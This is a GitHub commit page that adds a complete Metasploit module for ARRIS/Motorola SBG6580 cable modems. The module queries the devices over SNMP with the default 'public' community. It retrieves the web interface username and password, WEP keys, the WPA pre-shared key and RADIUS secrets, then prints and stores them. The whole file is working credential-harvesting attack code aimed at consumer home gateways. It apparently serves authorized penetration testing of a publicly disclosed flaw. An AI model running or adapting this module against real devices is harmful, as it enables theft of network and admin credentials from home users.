Skip to content

Commit aefd15c

Browse files
author
Tod Beardsley
committed
Land rapid7#3376, ARRIS SNMP enumerator from @inokii
2 parents 520e1bc + 7dd7308 commit aefd15c

File tree

1 file changed

+314
-0
lines changed

1 file changed

+314
-0
lines changed
Lines changed: 314 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,314 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::SNMPClient
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
17+
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
18+
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
19+
and password for the device user interface as well as wireless network keys
20+
and information.
21+
The default community used is "public".',
22+
'References' =>
23+
[
24+
[ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ],
25+
[ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
26+
],
27+
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
28+
'License' => MSF_LICENSE
29+
))
30+
31+
# change SNMP version option to match device specification
32+
register_options(
33+
[
34+
OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
35+
], self.class)
36+
end
37+
38+
def run_host(ip)
39+
40+
begin
41+
snmp = connect_snmp
42+
43+
# represents the order of the output data fields
44+
fields_order = [
45+
"Host IP", "Username", "Password", "SSID", "802.11 Band",
46+
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
47+
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
48+
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
49+
"RADIUS Server", "RADIUS Port", "RADIUS Key"
50+
]
51+
52+
output_data = {"Host IP" => ip}
53+
54+
sys_descr = snmp.get_value('sysDescr.0')
55+
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
56+
# print connected status after the first query so if there are
57+
# any timeout or connectivity errors; the code would already
58+
# have jumped to error handling where the error status is
59+
# already being displayed.
60+
print_good("#{ip}, Connected.")
61+
62+
# attempt to get the username and password for the device user interface
63+
# using the CableHome cabhPsDevMib MIB module which defines the
64+
# basic management objects for the Portal Services (PS) logical element
65+
# of a CableHome compliant Residential Gateway device
66+
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
67+
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
68+
# manufacturerLocal(1) - indicates Portal Services is using the vendor
69+
# web user interface shipped with the device
70+
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
71+
if is_valid_snmp_value(device_ui_username)
72+
output_data["Username"] = device_ui_username.to_s
73+
end
74+
75+
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
76+
if is_valid_snmp_value(device_ui_password)
77+
output_data["Password"] = device_ui_password.to_s
78+
end
79+
end
80+
81+
wifi_ifindex = get_primary_wifi_ifindex(snmp)
82+
if wifi_ifindex < 1
83+
print_status("Primary WiFi is disabled on the device")
84+
end
85+
86+
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
87+
if is_valid_snmp_value(ssid)
88+
output_data["SSID"] = ssid.to_s
89+
end
90+
91+
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
92+
if is_valid_snmp_value(wireless_band)
93+
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
94+
end
95+
96+
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
97+
if is_valid_snmp_value(network_auth_mode)
98+
network_auth_mode = network_auth_mode.to_i
99+
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
100+
output_data["Network Authentication Mode"] = network_auth_mode_name
101+
end
102+
103+
case network_auth_mode
104+
when 1, 6
105+
# WEP, WEP 802.1x Authentication
106+
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
107+
if is_valid_snmp_value(wep_passphrase)
108+
output_data["WEP Passphrase"] = wep_passphrase.to_s
109+
end
110+
111+
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
112+
if is_valid_snmp_value(wep_encryption)
113+
wep_encryption = wep_encryption.to_i
114+
else
115+
wep_encryption = -1
116+
end
117+
118+
wep_encryption_name = "Unknown"
119+
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
120+
# get appropriate WEP keys based on wep_encryption setting
121+
if wep_encryption == 1
122+
wep_encryption_name = "64-bit"
123+
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
124+
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
125+
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
126+
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
127+
elsif wep_encryption == 2
128+
wep_encryption_name = "128-bit"
129+
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
130+
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
131+
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
132+
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
133+
end
134+
135+
output_data["WEP Encryption"] = wep_encryption_name
136+
if is_valid_snmp_value(wep_key1)
137+
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
138+
end
139+
if is_valid_snmp_value(wep_key2)
140+
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
141+
end
142+
if is_valid_snmp_value(wep_key3)
143+
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
144+
end
145+
if is_valid_snmp_value(wep_key4)
146+
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
147+
end
148+
149+
# get current network key
150+
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
151+
if is_valid_snmp_value(current_key)
152+
output_data["Current Network Key"] = current_key.to_s
153+
end
154+
155+
if network_auth_mode == 6
156+
get_radius_info(snmp, wifi_ifindex, output_data)
157+
end
158+
159+
when 2, 3, 4, 5, 7, 8
160+
# process all flavors of WPA
161+
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
162+
if is_valid_snmp_value(wpa_encryption)
163+
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
164+
end
165+
166+
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
167+
if is_valid_snmp_value(wpa_psk)
168+
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
169+
end
170+
171+
case network_auth_mode
172+
when 4, 5, 8
173+
get_radius_info(snmp, wifi_ifindex, output_data)
174+
end
175+
end
176+
177+
# output
178+
print_line("")
179+
print_status("Device information:\n")
180+
line = ""
181+
width = 30 # name field width
182+
183+
fields_order.each {|k|
184+
if not output_data.has_key?(k)
185+
next
186+
end
187+
188+
v = output_data[k]
189+
if (v.nil? or v.empty? or v =~ /Null/)
190+
v = '-'
191+
end
192+
193+
report_note(
194+
:host => ip,
195+
:proto => 'udp',
196+
:sname => 'snmp',
197+
:port => datastore['RPORT'].to_i,
198+
:type => "snmp.#{k}",
199+
:data => v
200+
)
201+
202+
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
203+
}
204+
205+
print_line(line)
206+
else
207+
print_error("#{ip} does not appear to be a SBG6580.")
208+
end
209+
210+
rescue SNMP::RequestTimeout
211+
print_error("#{ip} SNMP request timeout.")
212+
rescue Rex::ConnectionError
213+
print_error("#{ip} Connection refused.")
214+
rescue SNMP::InvalidIpAddress
215+
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
216+
rescue SNMP::UnsupportedVersion
217+
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
218+
rescue ::Interrupt
219+
raise $!
220+
rescue ::Exception => e
221+
print_error("Unknown error: #{e.class} #{e}")
222+
elog("Unknown error: #{e.class} #{e}")
223+
elog("Call stack:\n#{e.backtrace.join "\n"}")
224+
ensure
225+
disconnect_snmp
226+
end
227+
end
228+
229+
def get_primary_wifi_ifindex(snmp)
230+
# The ifTable contains interface entries where each row represents
231+
# management information for a particular interface. Locate the first
232+
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
233+
wifi_ifindex = 0
234+
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
235+
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
236+
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
237+
wifi_ifindex = ifIndex.value.to_i
238+
end
239+
end
240+
wifi_ifindex
241+
end
242+
243+
def is_valid_snmp_value(value)
244+
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
245+
return false
246+
end
247+
return true
248+
end
249+
250+
def get_network_auth_mode_name(network_auth_mode)
251+
case network_auth_mode
252+
when 0
253+
"Open Security"
254+
when 1
255+
"WEP"
256+
when 2
257+
"WPA-PSK"
258+
when 3
259+
"WPA2-PSK"
260+
when 4
261+
"WPA RADIUS"
262+
when 5
263+
"WPA2 RADIUS"
264+
when 6
265+
"WEP 802.1x Authentication"
266+
when 7
267+
"WPA-PSK and WPA2-PSK"
268+
when 8
269+
"WPA and WPA2 RADIUS"
270+
else
271+
"Unknown"
272+
end
273+
end
274+
275+
def get_wireless_band_name(wireless_band)
276+
case wireless_band
277+
when 1
278+
"2.4 Ghz"
279+
when 2
280+
"5 Ghz"
281+
else
282+
"Unknown"
283+
end
284+
end
285+
286+
def get_wpa_encryption_name(wpa_encryption)
287+
case wpa_encryption
288+
when 2
289+
"AES"
290+
when 3
291+
"TKIP+AES"
292+
else
293+
"Unknown"
294+
end
295+
end
296+
297+
def get_radius_info(snmp, wifi_ifindex, output_data)
298+
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
299+
if is_valid_snmp_value(radius_server)
300+
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
301+
end
302+
303+
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
304+
if is_valid_snmp_value(radius_port)
305+
output_data["RADIUS Port"] = radius_port.to_s.strip
306+
end
307+
308+
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
309+
if is_valid_snmp_value(radius_key)
310+
output_data["RADIUS Key"] = radius_key.to_s
311+
end
312+
end
313+
314+
end

0 commit comments

Comments
 (0)